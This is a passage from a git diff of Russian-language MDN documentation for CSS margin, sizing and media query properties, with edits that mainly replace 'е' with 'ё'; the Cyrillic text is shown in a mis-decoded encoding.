-<p>Бвойство <strong><code>margin-inline-start</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> Π·Π°Π΄Π°Π΅Ρ‚ логичСскоС строковоС (inline)Β  Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ start margin элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ сопоставляСтся с физичСским Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ margin Π² зависимости ΠΎΡ‚ Ρ€Π΅ΠΆΠΈΠΌΠ° записи (writing_mode) элСмСнта, направлСнности ΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ тСкста. Π­Ρ‚ΠΎ логичСскоС свойство соотвСтствуСт ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈΠ· свойств {{cssxref("margin-top")}},Β  {{cssxref("margin-right")}},Β {{cssxref("margin-bottom")}}, or {{cssxref("margin-left")}} Π² зависимости ΠΎΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}.</p>
+<p>Бвойство <strong><code>margin-inline-start</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> Π·Π°Π΄Π°Ρ‘Ρ‚ логичСскоС строковоС (inline)Β  Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ start margin элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ сопоставляСтся с физичСским Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ margin Π² зависимости ΠΎΡ‚ Ρ€Π΅ΠΆΠΈΠΌΠ° записи (writing_mode) элСмСнта, направлСнности ΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ тСкста. Π­Ρ‚ΠΎ логичСскоС свойство соотвСтствуСт ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈΠ· свойств {{cssxref("margin-top")}},Β  {{cssxref("margin-right")}},Β {{cssxref("margin-bottom")}}, or {{cssxref("margin-left")}} Π² зависимости ΠΎΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}.</p>
<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
margin-inline-start: 10px; /* Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Π°Ρ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Π° */
diff --git a/files/ru/web/css/margin-left/index.html b/files/ru/web/css/margin-left/index.html
index ae301e9b36..870fe59a5d 100644
--- a/files/ru/web/css/margin-left/index.html
+++ b/files/ru/web/css/margin-left/index.html
@@ -41,7 +41,7 @@ margin-left: unset;
<dt>{{cssxref("&lt;percentage&gt;")}}</dt>
<dd>Π Π°Π·ΠΌΠ΅Ρ€ отступа Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ… - Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΄Π»ΠΈΠ½Ρ‹ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°.</dd>
<dt><code>auto</code></dt>
- <dd>Π’Π½Π΅ΡˆΠ½ΠΈΠΉ отступ слСва ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ долю нСиспользованного Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ пространства, опрСдСляСтся Π² основном <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%A1%D0%BF%D0%BE%D1%81%D0%BE%D0%B1_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F">Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΌ способом Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ</a>. Если значСния <code>margin-left</code> ΠΈ <code>margin-right</code> ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ установлСны ΠΊΠ°ΠΊΒ <code>auto</code>, расчСтноС пространство распрСдСляСтся Ρ€Π°Π²Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎ. Π­Ρ‚Π° Ρ‚Π°Π±Π»ΠΈΡ†Π°Β ΠΊΡ€Π°Ρ‚ΠΊΠΎ ΠΈΠ·Π»Π°Π³Π°Π΅Ρ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅:
+ <dd>Π’Π½Π΅ΡˆΠ½ΠΈΠΉ отступ слСва ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ долю нСиспользованного Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ пространства, опрСдСляСтся Π² основном <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%A1%D0%BF%D0%BE%D1%81%D0%BE%D0%B1_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F">Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΌ способом Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ</a>. Если значСния <code>margin-left</code> ΠΈ <code>margin-right</code> ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ установлСны ΠΊΠ°ΠΊΒ <code>auto</code>, расчётноС пространство распрСдСляСтся Ρ€Π°Π²Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎ. Π­Ρ‚Π° Ρ‚Π°Π±Π»ΠΈΡ†Π°Β ΠΊΡ€Π°Ρ‚ΠΊΠΎ ΠΈΠ·Π»Π°Π³Π°Π΅Ρ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅:
<table class="standard-table">
<thead>
<tr>
diff --git a/files/ru/web/css/margin-right/index.html b/files/ru/web/css/margin-right/index.html
index d21ce8cdfd..e8fbfc332f 100644
--- a/files/ru/web/css/margin-right/index.html
+++ b/files/ru/web/css/margin-right/index.html
@@ -41,7 +41,7 @@ margin-right: unset;
<dt>{{cssxref("&lt;percentage&gt;")}}</dt>
<dd>Π Π°Π·ΠΌΠ΅Ρ€ отступа Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ… - Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΄Π»ΠΈΠ½Ρ‹ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°.</dd>
<dt><code>auto</code></dt>
- <dd>Π’Π½Π΅ΡˆΠ½ΠΈΠΉ отступ слСва ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ долю нСиспользованного Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ пространства, опрСдСляСтся Π² основном <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%A1%D0%BF%D0%BE%D1%81%D0%BE%D0%B1_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F">Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΌ способом Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ</a>. Если значСния <code>margin-left</code> ΠΈ <code>margin-right</code> ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ установлСны ΠΊΠ°ΠΊΒ <code>auto</code>, расчСтноС пространство распрСдСляСтся Ρ€Π°Π²Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎ. Π­Ρ‚Π° Ρ‚Π°Π±Π»ΠΈΡ†Π°Β ΠΊΡ€Π°Ρ‚ΠΊΠΎ ΠΈΠ·Π»Π°Π³Π°Π΅Ρ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅:
+ <dd>Π’Π½Π΅ΡˆΠ½ΠΈΠΉ отступ слСва ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ долю нСиспользованного Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ пространства, опрСдСляСтся Π² основном <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%A1%D0%BF%D0%BE%D1%81%D0%BE%D0%B1_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F">Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΌ способом Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ</a>. Если значСния <code>margin-left</code> ΠΈ <code>margin-right</code> ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ установлСны ΠΊΠ°ΠΊΒ <code>auto</code>, расчётноС пространство распрСдСляСтся Ρ€Π°Π²Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎ. Π­Ρ‚Π° Ρ‚Π°Π±Π»ΠΈΡ†Π°Β ΠΊΡ€Π°Ρ‚ΠΊΠΎ ΠΈΠ·Π»Π°Π³Π°Π΅Ρ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅:
<table class="standard-table">
<thead>
<tr>
diff --git a/files/ru/web/css/margin/index.html b/files/ru/web/css/margin/index.html
index 62c2f9ec7a..8841f9ed8c 100644
--- a/files/ru/web/css/margin/index.html
+++ b/files/ru/web/css/margin/index.html
@@ -11,7 +11,7 @@ translation_of_original: Web/CSS/margin-new
---
<div>{{CSSRef}}</div>
-<p>Бвойство <strong><code>margin</code></strong> <a href="/ru/CSS" title="CSS">CSS</a> опрСдСляСт <a href="/ru/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">внСшний отступ</a> Π½Π° всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… сторонах элСмСнта. Π­Ρ‚ΠΎ сокращСниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ устанавливаСт всС ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ поля ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} ΠΈ {{cssxref("margin-left")}}.</p>
+<p>Бвойство <strong><code>margin</code></strong> <a href="/ru/CSS" title="CSS">CSS</a> опрСдСляСт <a href="/ru/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">внСшний отступ</a> Π½Π° всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… сторонах элСмСнта. Π­Ρ‚ΠΎ сокращСниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ устанавливаСт всС ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ поля ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} ΠΈ {{cssxref("margin-left")}}.</p>
<pre class="brush:css no-line-numbers">/* ΠŸΡ€ΠΈΠΌΠ΅Π½ΡΠ΅Ρ‚ΡΡ ΠΊΠΎ всСм Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘ΠΌ сторонам */
margin: 1em;
@@ -49,7 +49,7 @@ margin: unset;
Β Β Β  &lt;div class="cell"&gt;
Β Β Β Β Β  &lt;div class="m m4"&gt;margin: 5px 1em 0 auto&lt;/div&gt;
Β Β Β  &lt;/div&gt;
-Β Β Β  &lt;div class="note"&gt;ВсС Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 50%&lt;/div&gt;
+Β Β Β  &lt;div class="note"&gt;ВсС Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 50%&lt;/div&gt;
Β  &lt;/div&gt;
&lt;/div&gt;</pre>
@@ -112,10 +112,10 @@ margin: unset;
<h2 id="Бинтаксис">Бинтаксис</h2>
-<p>Бвойство <code>margin</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π΄Π°Π½ΠΎ с использованиСм ΠΎΠ΄Π½ΠΎΠ³ΠΎ, Π΄Π²ΡƒΡ…, Ρ‚Ρ€Π΅Ρ… ΠΈΠ»ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. КаТдоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏ <code><a href="#&lt;length>">&lt;length&gt;</a></code>, <code><a href="#&lt;percentage>">&lt;percentage&gt;</a></code> ΠΈΠ»ΠΈ являСтся ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ словом <code><a href="#auto">auto</a></code>. КаТдоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ, ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΈΠ»ΠΈ Ρ€Π°Π²Π½Ρ‹ΠΌ Π½ΡƒΠ»ΡŽ.</p>
+<p>Бвойство <code>margin</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π΄Π°Π½ΠΎ с использованиСм ΠΎΠ΄Π½ΠΎΠ³ΠΎ, Π΄Π²ΡƒΡ…, Ρ‚Ρ€Ρ‘Ρ… ΠΈΠ»ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. КаТдоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏ <code><a href="#&lt;length>">&lt;length&gt;</a></code>, <code><a href="#&lt;percentage>">&lt;percentage&gt;</a></code> ΠΈΠ»ΠΈ являСтся ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ словом <code><a href="#auto">auto</a></code>. КаТдоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ, ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΈΠ»ΠΈ Ρ€Π°Π²Π½Ρ‹ΠΌ Π½ΡƒΠ»ΡŽ.</p>
<ul>
- <li>Когда ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ <strong>ΠΎΠ΄Π½ΠΎ</strong> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚Π°ΠΊΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ для <strong>всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… сторон</strong>.</li>
+ <li>Когда ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ <strong>ΠΎΠ΄Π½ΠΎ</strong> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚Π°ΠΊΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ для <strong>всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… сторон</strong>.</li>
<li>Когда ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ <strong>Π΄Π²Π°</strong> значСния, Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ опрСдСляСт внСшний отступ для <strong>Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ ΠΈ Π½ΠΈΠΆΠ½Π΅ΠΉ</strong> стороны, Π° Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ опрСдСляСт отступ для <strong>Π»Π΅Π²ΠΎΠΉ ΠΈ ΠΏΡ€Π°Π²ΠΎΠΉ стороны</strong>.</li>
<li>Когда ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ <strong>Ρ‚Ρ€ΠΈ</strong> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ опрСдСляСт внСшний отступ для <strong>Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ</strong> стороны, Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ опрСдСляСт внСшний отступ для <strong>Π»Π΅Π²ΠΎΠΉ ΠΈ ΠΏΡ€Π°Π²ΠΎΠΉ стороны</strong>, Π° Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ опрСдСляСт отступ для <strong>Π½ΠΈΠΆΠ½Π΅ΠΉ</strong> стороны.</li>
<li>Когда ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ <strong>Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅</strong> значСния, ΠΎΠ½ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ внСшниС отступы для <strong>Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ</strong> стороны, <strong>справа</strong>, <strong>снизу</strong> ΠΈ <strong>слСва</strong> Π² рассмотрСнном порядкС (ΠΏΠΎ часовой стрСлкС).</li>
diff --git a/files/ru/web/css/max-block-size/index.html b/files/ru/web/css/max-block-size/index.html
index 416987e8b3..bce04c2a67 100644
--- a/files/ru/web/css/max-block-size/index.html
+++ b/files/ru/web/css/max-block-size/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/max-block-size
---
<p>{{CSSRef}}{{SeeCompatTable}}</p>
-<p><a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> свойство<strong>Β <code>max-block-size</code></strong> опрСдСляСт ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ»ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π±Π»ΠΎΠΊΠ°Β Π² зависимости ΠΎΡ‚ Π²ΠΈΠ΄Π° ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ экрана. Π­Ρ‚ΠΎ свойство соотвСтствуСт Π»ΠΈΠ±ΠΎΒ {{cssxref("max-width")}}, Π»ΠΈΠ±ΠΎ {{cssxref("max-height")}}, Π² зависимости ΠΎΡ‚ значСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π²Β {{cssxref("writing-mode")}}. Если послСднСС свойство Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ, Π·Π½Π°Ρ‡ΠΈΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>max-block-size</code> относится ΠΊ максимальной ΡˆΠΈΡ€ΠΈΠ½Π΅ Π±Π»ΠΎΠΊΠ°, Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС относится ΠΊ максимальной высотС Π±Π»ΠΎΠΊΠ°. It relates to {{cssxref("max-inline-size")}}, which defines the other dimension of the element.</p>
+<p><a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> свойство<strong>Β <code>max-block-size</code></strong> опрСдСляСт ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ»ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π±Π»ΠΎΠΊΠ°Β Π² зависимости ΠΎΡ‚ Π²ΠΈΠ΄Π° ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ экрана. Π­Ρ‚ΠΎ свойство соотвСтствуСт Π»ΠΈΠ±ΠΎΒ {{cssxref("max-width")}}, Π»ΠΈΠ±ΠΎ {{cssxref("max-height")}}, Π² зависимости ΠΎΡ‚ значСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π²Β {{cssxref("writing-mode")}}. Если послСднСС свойство Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ, Π·Π½Π°Ρ‡ΠΈΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>max-block-size</code> относится ΠΊ максимальной ΡˆΠΈΡ€ΠΈΠ½Π΅ Π±Π»ΠΎΠΊΠ°, Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС относится ΠΊ максимальной высотС Π±Π»ΠΎΠΊΠ°. It relates to {{cssxref("max-inline-size")}}, which defines the other dimension of the element.</p>
<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
max-block-size: 300px;
diff --git a/files/ru/web/css/media_queries/index.html b/files/ru/web/css/media_queries/index.html
index 148efccbea..63d4f820cb 100644
--- a/files/ru/web/css/media_queries/index.html
+++ b/files/ru/web/css/media_queries/index.html
@@ -14,9 +14,9 @@ translation_of: Web/CSS/Media_Queries
---
<div>{{CSSRef("CSS3 Media Queries")}}</div>
-<p><strong>Media Queries</strong>Β - ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ <a href="/en-US/docs/Web/Apps/Progressive/Responsive">ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠ³ΠΎ Π΄ΠΈΠ·Π°ΠΉΠ½Π°</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π΅Π»Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ для CSS Π°Π΄Π°ΠΏΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΈΠ»ΠΈ характСристик устройства. НапримСр, media query ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ стили Ссли ΡΠΊΡ€Π°Π½Β ΠΌΠ΅Π½ΡŒΡˆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, ΠΈΠ»ΠΈ Π² зависимости от Ρ‚ΠΎΠ³ΠΎ находится устройство Π² ΠΏΠΎΡ€Ρ‚Ρ€Π΅Ρ‚Π½ΠΎΠΌ ΠΈΠ»ΠΈ альбомном Ρ€Π΅ΠΆΠΈΠΌΠ΅. {{cssxref("@media")}} at-ΠΏΡ€Π°Π²ΠΈΠ»ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ условия примСнСния стилСй ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ.</p>
+<p><strong>Media Queries</strong>Β - ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ <a href="/en-US/docs/Web/Apps/Progressive/Responsive">ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠ³ΠΎ Π΄ΠΈΠ·Π°ΠΉΠ½Π°</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π΅Π»Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ для CSS Π°Π΄Π°ΠΏΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΈΠ»ΠΈ характСристик устройства. НапримСр, media query ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ стили Ссли ΡΠΊΡ€Π°Π½Β ΠΌΠ΅Π½ΡŒΡˆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, ΠΈΠ»ΠΈ Π² зависимости от Ρ‚ΠΎΠ³ΠΎ находится устройство Π² ΠΏΠΎΡ€Ρ‚Ρ€Π΅Ρ‚Π½ΠΎΠΌ ΠΈΠ»ΠΈ альбомном Ρ€Π΅ΠΆΠΈΠΌΠ΅. {{cssxref("@media")}} at-ΠΏΡ€Π°Π²ΠΈΠ»ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ условия примСнСния стилСй ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ.</p>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, media query синтаксис ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… контСкстах, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("media", "source")}} элСмСнта {{HTMLElement("source")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ установлСн в media query строку, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ»ΠΈ Π½Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот источник, ΠΊΠΎΠ³Π΄Π° выбираСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ 